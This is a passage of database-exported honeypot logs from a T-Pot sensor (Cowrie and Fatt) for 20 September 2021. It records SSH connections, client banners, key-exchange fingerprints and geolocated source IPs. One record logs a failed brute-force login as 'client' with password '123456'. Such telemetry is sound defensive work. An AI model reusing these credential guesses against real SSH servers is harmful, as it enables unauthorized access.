24882	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:16.039476+03	2021-09-20 14:15:09.37547+03	{"_id": "iwblAnwBvYTbRNuEVRZ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "80c27c939d8e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:16.039476Z", "@timestamp": "2021-09-20T11:09:16.039Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24922	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:26.364244+03	2021-09-20 14:15:09.426501+03	{"_id": "hQblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:59508 (192.168.176.2:22) [session: 5d606a35689f]", "session": "5d606a35689f", "@version": "1", "protocol": "ssh", "src_port": 59508, "dest_port": 22, "timestamp": "2021-09-20T11:09:26.364244Z", "@timestamp": "2021-09-20T11:09:26.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24883	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:16.136138+03	2021-09-20 14:15:09.37647+03	{"_id": "lgblAnwBvYTbRNuEWBbI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51798, "timestamp": "2021-09-20T11:09:16.136138", "@timestamp": "2021-09-20T11:09:16.136Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24884	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:16.525208+03	2021-09-20 14:15:09.378471+03	{"_id": "lAblAnwBvYTbRNuEWBbH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59146, "timestamp": "2021-09-20T11:09:16.525208", "@timestamp": "2021-09-20T11:09:16.525Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24885	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:09:17.110114+03	2021-09-20 14:15:09.37947+03	{"_id": "mQblAnwBvYTbRNuEWBbI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48902, "dest_port": 22, "timestamp": "2021-09-20T11:09:17.110114", "@timestamp": "2021-09-20T11:09:17.110Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24886	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:16.520375+03	2021-09-20 14:15:09.381471+03	{"_id": "mgblAnwBvYTbRNuEWRZr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:59146 (192.168.176.2:22) [session: aa41b5de45d6]", "session": "aa41b5de45d6", "@version": "1", "protocol": "ssh", "src_port": 59146, "dest_port": 22, "timestamp": "2021-09-20T11:09:16.520375Z", "@timestamp": "2021-09-20T11:09:16.520Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24887	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:16.779092+03	2021-09-20 14:15:09.38247+03	{"_id": "mwblAnwBvYTbRNuEWRZr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:48902 (192.168.176.2:22) [session: 818b709f7a6d]", "session": "818b709f7a6d", "@version": "1", "protocol": "ssh", "src_port": 48902, "dest_port": 22, "timestamp": "2021-09-20T11:09:16.779092Z", "@timestamp": "2021-09-20T11:09:16.779Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24888	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:16.505283+03	2021-09-20 14:15:09.38347+03	{"_id": "pwblAnwBvYTbRNuEWRZr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4afed5ee7d32", "@version": "1", "timestamp": "2021-09-20T11:09:16.505283Z", "@timestamp": "2021-09-20T11:09:16.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24889	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:16.523092+03	2021-09-20 14:15:09.385472+03	{"_id": "qAblAnwBvYTbRNuEWRZr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "aa41b5de45d6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:16.523092Z", "@timestamp": "2021-09-20T11:09:16.523Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24890	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:16.692944+03	2021-09-20 14:15:09.38647+03	{"_id": "qQblAnwBvYTbRNuEWRZr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [client/123456] failed", "session": "2af9e6b1581d", "@version": "1", "password": "123456", "username": "client", "timestamp": "2021-09-20T11:09:16.692944Z", "@timestamp": "2021-09-20T11:09:16.692Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24891	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:16.781872+03	2021-09-20 14:15:09.38747+03	{"_id": "qgblAnwBvYTbRNuEWRZr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "818b709f7a6d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:16.781872Z", "@timestamp": "2021-09-20T11:09:16.781Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24892	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:16.837924+03	2021-09-20 14:15:09.388471+03	{"_id": "qwblAnwBvYTbRNuEWRZr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "aa41b5de45d6", "@version": "1", "timestamp": "2021-09-20T11:09:16.837924Z", "@timestamp": "2021-09-20T11:09:16.837Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24893	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:17.110883+03	2021-09-20 14:15:09.390471+03	{"_id": "rAblAnwBvYTbRNuEWRZr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", 